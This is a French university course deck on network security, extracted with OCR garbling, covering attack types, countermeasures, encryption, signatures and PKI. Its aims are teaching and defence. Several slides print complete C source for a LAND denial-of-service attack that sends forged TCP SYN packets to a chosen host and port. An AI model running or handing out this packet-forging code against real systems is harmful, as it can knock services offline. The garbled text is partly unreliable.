Vous êtes sur la page 1sur 13

„ Objectifs du cours:

Cours
… Comprendre
C d des
d notions
ti de
d sécurisation
é i ti des d
Sécurité des réseaux réseaux, sous forme d’exposés théoriques et
d’
d’exemples
l pratiques.
ti
Med_elhdhili@yahoo.es
h d
hamdenebalkis@yahoo.fr
b lk @ h f
ham_senda@yahoo.fr „ Pré requis
… Concepts de base de la sécurité informatique
… Concepts de bases des réseaux
Remarque: ce document doit être complété par les notes de cours … réseaux TCP/IP

1 2

Plan Plan
„ Chap1: Introduction à la sécurité réseaux „ Chap5:Architecture de sécurité
„ VLAN
„ VPN
„ Chap2:Les attaques réseaux „ DM

„ Chap6: Protocole de sécurité sur internet


„ Chap3:Sécurisation des communication „ SSL/TLS SET
„ Chiffrement, signature,
g certificat, PKI „ IPSEC

„ Exemples: VPN, SSH

„ Chap4: Contrôle d
d’accès
accès
„ Niveau réseau: Filtrage et ACL
„ Niveau application: authentification (certificat…)
(certificat )
3 4
Introduction
Chapitre 1
Réseaux
introduction à la sécurité Bases de
Personnel
données
d réseaux
des é
SÉCURITÉ
Web DE QUI ? Locaux
DE QUOI ?

Systèmes
p
d’exploitations Matériel

Applications

5 6

Sécurité Aspects de la sécurité

Méthodes employées pour


casser les services de la sécurité
… Ensemble des techniques qui assurent que les en détournant les mécanismes
ressources (matérielles
( é i ll ou logicielles)
l i i ll ) soient
i
ATTAQUES
utilisées uniquement dans le cadre où il est prévu
qu'elles
' ll le
l soient.
i
SERVICES MÉCANISMES

Fonctionnalités requises Moyens utilisés pour


pour assurer un assurer les services de
environnement sécurisé la sécurité en luttant
en faisant appel aux contre les attaques
mécanismes
7 8
Services de la sécurité Attaques:classification
• c'est l'assurance de l'identité d'un objet de Exécutées par des entités externes au
Authentification tout type qui peut être une personne, un Externes système victime
serveur ou une application.
li ti Attaques Exécutées par des entités internes au
• c'est la garantie qu'un objet (document, Internes système victime parce qu’ils sont malicieux
Intégrité fichier message,
fichier, message etc
etc.)) ne soit pas modifié ou détenu
d par des
d attaquants
par un tiers que son auteur.
• cc’est
est l’assurance
l assurance qu’une
qu une information ne
S tè
Système
Confidentialité soit pas comprise par un tiers qui n’en a Attaque
pas le droit Attaque externe
interne
• c'est l'assurance que l'émetteur d'un message ne
Non répudiation puisse pas nier l'avoir envoyé et que son
récepteur ne puisse pas nier l'avoir reçu.
P i
Passives Ecoute du système (réseau) pour l’analyser
• c'est l'assurance que les services ou
Disponibilité l'information soient utilisable et accessible Attaques
Injection, suppression ou modification de
Injection
par les
l utilisateurs
tili t autorisés
t i é A i
Actives données
9 10

Mécanismes Par où commencer?


„ Pour sécuriser un réseau il faut:
Chiffrement Confidentialité … Définir
Défi i une structure
t t d
du réseau
é conforme
f à l’
l’organisation
i ti
de l’entreprise
Signature
électronique
él t i Intégrité +Non
Non répudiation „ Séparer les communautés.
communautés
+ authentification „ Garde barrière entre communautés.
Certificats Authentification „ Laisser une porte "ouverte" vers l’extérieur (sans risques).
et PKI
… Définir une politique de sécurité.
Filtrage des communication „ La sécurité == 90% de méthodologie et d’organisation + 10% de
Pare feu
Pare-feu
(firewall) ( é é l
(généralement au niveau
i technique
h i
réseau et transport)
… Mise en place de la politique: sécurisation
Contrôle Filtrage des communication
d’accès (généralement au niveau … Audit de la sécurité
application)
… Détection/Correction
/ d’incidents
….
11 12
Politique de sécurité Audit de la sécurité
„ Objectifs „ Audit ?
… Sécurisation adaptée aux besoins de ll’entreprise
entreprise
… Permet d’analyser un audit de sécurité … voir si la politique de sécurité est respectée

… Découvrir
Dé i les
l risques
i
„ Composants d’une politique de sécurité
… politique de confidentialité
… Effectuer des tests technique de vulnérabilité
… politique d’accès
… Proposer
p des recommandations
… politique
l d’
d’authentification
h f
… Politique de responsabilité … Proposer un plan d’action
… Politique de maintenance
… politique de rapport de violations
… …

13 14

Conclusion
„ La sécurité
… tâche
tâ h difficile
diffi il
… pas de sécurité à 100%
Chapitre 2
„ Motivation des attaquants
… Attirance de ll'interdit
interdit
… Le désir d'argent (violer un système bancaire) Attaques réseaux
… Le désir de renommée (impressionner des amis)
… l'envie de nuire (détruire des données, empêcher un
système de fonctionner)
……

15 16
Objectifs des attaquants Motivation des attaquants
… Désinformer „ Vengeance/rancune

„ Politique/religion
… Empêcher l'accès à une ressource
„ Défis intellectuels
… Prendre le contrôle d'une ressource
„ Envie de nuire aux autres
… Récupérer d l'information
de l f
„ Impressionner les autres
… Utiliser le système compromis pour attaquer un „ Vol d’informations
autre (rebondir)
( ) „ Désir d
d’argent
argent
……
„ Falsification d’informations

17 18

Classification des attaques Classification des attaques


„ Attaques passives „ Attaques actives
… Écoute
É t ett analyse
l d
du ttrafic
fi réseau
é … Modification des données en transit
ÆExemple d’outils: wireshark, tcpdump
ÆBut: trouver des informations susceptibles
d'intéresser un attaquant
q … Injection
ject o de do
données
ées
Æ Adresses IP importantes „ Fabrication (mascarade): injecter des données en
Æ Architecture du réseau spécifiant une adresse source légitime
Æ Emplacement des nœuds „ Rejeu: ré-envoyer d’anciens données

Æ Informations d’authentification
d authentification
Æ Information secrète (en cas de guerre par exemple)
… Suppression de données
Æ…

19 20
Exemples d’attaques (sur les faiblesses des protocoles)
„ Les attaques réseaux exploitent les faiblesses „ Attaques sur la fragmentation des paquets IP
… Des
D protocoles:
t l … Ping
Pi off death
d th
„ Conception simple, légère et non sécurisé „ Données:
… Des mécanismes d’authentification: … Taille maximum d ’un paquet IP = 65535 octets
… ICMP est encapsulé par IP
„ Exemple: usurpation d’identité
„ Attaquant:
… Des implémentation: … Générer des fragments appartenant à des paquets ICMP de
„ Exemple:
xe p e: mot
ot de passe en
e clair
c a sur
su lee réseau,
éseau, bugs taille > 65535

… Des configuration : „ Victime


… Le réassemblage des fragments provoque le crash du buffer
„ Exemple: Firewall mal configuré laissant passer un ou le reboot du système
trafic non autorisé.
„ Parade:
… P t h (déjà existants
Patches i t t dans
d les
l nouveaux OS)
21 22

Exemples d’attaques (sur les faiblesses des protocoles) Exemples d’attaques (sur les faiblesses des protocoles)
„ Attaques sur la fragmentation des paquets IP „ Attaques sur la fragmentation des paquets IP
… Tiny
Ti fragment
f t attack
tt k … The
Th tteardrop
d Att
Attackk (chevauchement)
„ Données: „ Attaque:
… TCP est encapsulé dans IP … Chevauchement des champs offsets (IP encapsulant UDP)
… Les filtres testent généralement le premier fragment „ Objectif:
„ Attaque: … A êt lle système
Arrêter tè ((attaque
tt D
DoS)
S)
… Utiliser de petit fragments pour forcer la division de l’entête „ Parade
TCP sur deux fragments
g
… Patches
… Exemple: les flags TCP sont placés dans le second fragment,
ce qui ne permet pas au filtres de supprimer les connexions … Une variante de cette attaque laisse des gap entre
indésirable les fragments
„ Parade
… Fixer, au niveau des filtres, une taille minimale du premier
fragment
23 24
Exemples d’attaques (sur les faiblesses des protocoles) Exemples d’attaques (sur les faiblesses des protocoles)
„ Attaques sur la fragmentation des paquets IP „ Attaques sur la fragmentation des paquets IP
… The
Th O
Overlapping
l i Fragment
F t Attack
Att k (chevauchement) … The
Th O
Overlapping
l i Fragment
F t Attack
Att k (chevauchement)
„ Objectif: „ Objectif:
… Passer a travers un firewall … Passer a travers un firewall
„ Attaque: „ Attaque:
… Le premier
L i fragment
f t contient
ti t ddes iinformations
f ti TCP que le
l … Le premier
L i fragment
f t contient
ti t d
des iinformations
f ti TCP que le
l
système de filtrage accepte. système de filtrage accepte.
… Le deuxième fragment
g réécrit une p partie de l’entête TCP … Le deuxième fragment
g réécrit une ppartie de l’entête TCP
placée dans le premier fragment en plaçant des informations placée dans le premier fragment en plaçant des informations
malicieuses malicieuses
… Exemple courant: changer le numéro de port 80 (HTTP) par … Exemple courant: changer le numéro de port 80 (HTTP) par
23 (telnet) 23 (telnet)
„ Parade „ Parade
… Un firewall doit assurer une valeur minimale pour le champs … Un firewall doit assurer une valeur minimale pour le champs
fragment offseet 25 fragment offset 26

Exemples d’attaques (sur les faiblesses des protocoles) Exemples d’attaques (sur le design des protocoles)
TCP syn flooding Attaques DoS
SYN x
„ LISTEN „
… Données:
D é SYNy, ACKx+1
SYN_RECVD … Données
D é
„ 3 way hand-shake … Les protocoles permettent la diffusion !
ACK y+11
„ Attente dans l ’état … Attaque:
A
CONNECTED
SYN_RECVD (75s) … Saturer la bande passante par inondation avec des gros
„ Nombre
N b li limité
iéd de connexions
i d
dans cet éétat paquets

… Attaque: … Objectifs:
… Rendre indisponible un service,
service un système ou un réseau
„ Etablir plusieurs connexion successives semi-ouverte
afin de saturer la pile TCP de la victime Æ Perte de … Exemple: attaque smurf
connectivité
ti ité … Inondation du réseau avec
a ec des ping ayant
a ant des adresses de
broadcast et une adresse source fausse ou d’une victime
… Parade
… Parade
„ réduction du timer, filtrage, fermer les port inutile…
… Ne pas répondre pour les adresses broadcast, filtrage
27 28
Exemples d’attaques (sur le design des protocoles) Exemples d’attaques (sur le design des protocoles)
„ Attaque LAND „ Email Bombing/Spamming
… Attaque:
Att … Données
D é
„ Forger plusieurs segments TCP syn avec l ’adresse … Falsification de l ’adresse d ’origine
source identique
id ti à l ’adresse
’ d de
d la
l machine
hi victime
i ti … Attaque:
A
… Effet: … Bombing: envoi d ’un message répété à une même adresse
… S
Spamming:le
i l message estt envoyéé à d
des milliers
illi d ’adresses
’ d
„ Congestion ou crash de la victime
… Objectif:
… Parade
… congestion
ti ddu réseau
é
„ Filtrage ou software … crash du serveur de messagerie
… Parade
… Supervision, filtrage…

29 30

Exemples d’attaques (sur le design des protocoles) Exemples d’attaques (sur le design des protocoles)
„ ICMP redirect et ICMP unreachable „ ARP spoofing
… Attaque
Att ICMP redirect
di t … Attaque:
Att
… Un attaquant envoie à une machine un message ICMP- „ Répondre à une trame ARP who is? par une trame ARP
redirect pour lui indiquer un autre chemin à suivre (qui reply
l avec une adresse
d MAC quii ne correspond
d pas à
passe par lui)
l ’adresse IP
… Attaque
q ICMP unreachable
… Un attaquant envoie à une machine un message ICMP-
unreachable … Objectif:
Æ La machine ne peut plus joindre le réseau „ Faire passer un trafic
f par llui
… Parade „ Fausser les tables ARP

… Filtrage „ Perte de connectivité réseau


… Authentification (Ipsec)

31 32
Exemples d’attaques (sur le design des protocoles) Exemples d’attaques (sur le design des protocoles)
„ IP spoofing (usurpation d’identité) „ UDP bombing
… Données:
D é
… Attaque „ Deux services utilisés dans le passé pour le test du
… Envoyer des paquets IP en utilisant une adresse IP source réseau
é ett sontt activés
ti é par déf
défautt
d’une autre machine … Service echo: echo des caractères reçus
Service chargen: générateur de caractères
… Objectif:
Obj tif …

… Se masquer … Attaque:
… Utiliser les privilèges de l’adresse
l adresse usurpée … Établir une connexion entre ces deux services (dans deux
machines différentes ou dans la même machine)
… Parade
… Objectifs
j
… Authentification (Ipsec,
(Ipsec SSL…)
SSL )
… Congestion du réseau et dégradation des performances des
machines victimes
… Parade:
P d
33 … désactiver les ports correspondants 34

Exemples d’attaques Exemple de code source (attaque LAND)


„ Attaques Man-in-the-Middle int main(int argc,char * argv[])
{
… Principe:
Pi i struct sockaddr_in sin;
struct hostent * hoste;
„ Faire passer l’échange réseau entre deux systèmes par
int
t soc
sock;
;
l’ tt
l’attaquant
t
char buffer[40];
… Modes: struct iphdr * ipheader=(struct iphdr *) buffer;
„ Relais transparent struct tcphdr
hd * tcpheader=(struct
h d ( tcphdr
hd *)
(buffer+sizeof(struct iphdr));
… L’attaquant joue le rôle d’un routeur en conservant les struct pseudohdr pseudoheader;
caractéristiques des paquets et en transformant les données.
données
if(argc<3) {
„ Relais applicatif fprintf(stderr,"usage: %s IP port\n",argv[0]);
… Le premier système parle avec ll’attaquant
attaquant qui parle avec le return( 1);
return(-1);
second système }
„ Hijacking
j g bzero(&sin,sizeof(struct sockaddr_in));
… L’attaquant vole la session et l’utilise pour parler avec l’un sin.sin_family=AF_INET;
des deux systèmes 35 36
Exemple de code source (attaque LAND) Exemple de code source (attaque LAND)
if((hoste=gethostbyname(argv[1]))!=NULL) bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); ipheader->version=4;
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) ipheader->ihl=sizeof(struct iphdr)/4;
{ ipheader->tot_len=htons(sizeof(struct
fprintf(stderr,"unknown
p t (stde , u o host
ost %s\
%s\n",argv[1]);
,a g [ ]); iphdr)+sizeof(struct tcphdr));
return(-1); ipheader->id=htons(0xF1C);
} ipheader->ttl=255;
if(( i
if((sin.sin_port=htons(atoi(argv[2])))==0)
i h ( i( [2]))) 0)
ipheader->protocol=IP_TCP;
{
ipheader->saddr=sin.sin_addr.s_addr;
fprintf(stderr,"unknown
p port %s\n",argv[2]);
p g
ipheader->daddr=sin.sin_addr.s_addr;
return(-1);
}
if((
if((sock=socket(AF_INET,SOCK_RAW,255))==-1){
k k t(AF INET SOCK RAW 255)) 1){ tcpheader >th_sport
tcpheader->th sport=sin
sin.sin_port;
sin port;
fprintf(stderr,"couldn't allocate raw socket\n"); tcpheader->th_dport=sin.sin_port;
return( 1);
return(-1); tcpheader->th_seq=htonl(0xF1C);
} tcpheader->th_flags=TH_SYN;
37 38

Exemple de code source (attaque LAND)


tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr)); Ch it 2
Chapitre
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
d h d d dd dd i i dd dd
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct
pseudoheader.length htons(sizeof(struct tcphdr));
Mécanismes
bcopy((char *) tcpheader,(char *) cryptographiques de la
&pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) sécurité
&pseudoheader,12+sizeof(struct tcphdr));
sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct
tcphdr),0,(struct sockaddr *) &sin,sizeof(struct
sockaddr_in));
close(sock);
l ( k) return(0);
t (0)
} 39 40
Mécanismes Chiffrement
„ Chiffrement symétrique
A B

Confidentialité Clé = K
Chiffrement
Message  Canal sécurisé

Intégrité
g +
M
Signature
Si
Non répudiation + C = EK (M)
C M = DK (C )
électronique Canal non sécurisé
Mécanismes authentification
³ ³
------ Clé secrète xxxxx xxxxx Clé secrète ------
------
Certificats et A th tifi ti
Authentification ------ Cryptage
C t xxxxx Ré
Réseau
xxxxx

Décryptage
t
x -----
PKI ----- x
Message  Message 
Message  Message 
original chiffré chiffré original

41 42

Chiffrement Chiffrement
„ Chiffrement asymétrique „ Chiffrement hybride
A( pk A , sk A ) B( pkB , skB ) Clé publique du 
Clé privée du 
pk
destinataire xxxx
xxxx destinataire      
B xxxx
Cryptage xxxx Décryptage
xxx xxx
Canal authentifié
Clé  Clé secrète  Clé secrète  Clé secrète
C secrète chiffrée chiffré
hiff é
C = pkB (M) Canal non sécurisé
M = sk B (C ) Réseau

Clé publique du  Clé privée du  ------ ------ Clé secrète  xxxx


------ destinataire xxxxx xxxxx destinataire ------
xxxx Clé secrète      ------
------ Cryptage xxxx
------ xxxxx xxxxx xxxx Décryptage ------
Cryptage Ré
Réseau
x Décryptage ----- ----- xxx
----- x xxx -----
Message  Message  Message  Message 
Message  Message  Message  Message 
original chiffré chiffré original chiffré
original chiffré
original
43 44
Signature électronique
„ Permet l’authentification, l’intégrité et la non répudiation
„ Fonction de hashage
Fonction de 
Condensât 
Condensât
…H (M) = C
Condensât
C d ât xxx
------ hachage
chiffré +
------
----- Message
------ Clé publique 
„ M est de taille quelconque
------
Message  original de l’émetteur       „ C est de taille fixe (16 ou 20 octets)
original -----
Clé privé de  Fonction de  … appelé condensât, ou empreinte, ou fingerprint, ou message
ll’émetteur
émetteur  hachage digest
Réseau
Condensât   Condensât      … Fonction à sens unique
Condensât  xxx
… Si H (M1) = C1 ,
calculé par le reçu  
calculé par le  reçu
chiffré + récepteur  
Message
------ „ il est très difficile de trouver :
------ Sont ils identiques
Sont ils identiques
original
----- oui non
M2 différent
diffé t de d M1 tel
t l que H (M2) = C1
Message  … Usage : checksums, « intégrité »
authentique La signature ou le 
La signature ou le
message ont été 
modifiés 45 46

Certificat numérique Certificat numérique


„ Permet l’authentification „ Serial number :
… Garantit l’appartenance
pp d’une clé p
publique
q à une entité … Numéro de série du certificat (p
(propre
p à chaque
q autorité de
„ Principal format: certificats X.509 certification).
„ Signature Algorithm ID :
… Identifiant du type de signature utilisée.
„ Issuer Name :
… Distinguished
Di i i h d Name
N (DN) de
d l'autorité
l' i ded certification
ifi i quii a
émis ce certificat.
„ Subject Name :
… Distinguished Name (DN) du détenteur de la clé publique.
„ Subject
j p public key
y info
f :
… Informations sur la clé publique du certificat.
„ Signature
g :
… Signature numérique du CA sur l'ensemble des champs
47 48
Vérification d’un certificat PKI: Public Key Infrastructure
Traitement des
demande de:
- Création Publication des
Certificat
- Révocation Autorité certificats émis ou
Certificat  - Renouvellement d’Enregistrement
d Enregistrement révoqués
Version: ‐‐‐‐‐‐‐‐‐‐ invalide de certificats
Empreinte1
SN : ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Fonction de  Annuaire
hashage non
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ - Création
C é ti
- Révocation
Opérateur de
Égalité? Certification
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ - Renouvellement
oui d certificats
de tifi t validation
Signature:1b:2b:c0:3 Déchiffrement Empreinte2
e:52:4d:14:43:… Certificat 
valide Service de Vérifier la validité
Archiver les clés
séquestre des certificats
Clé publique de l'autorité de  privées/publiques
certification

49 50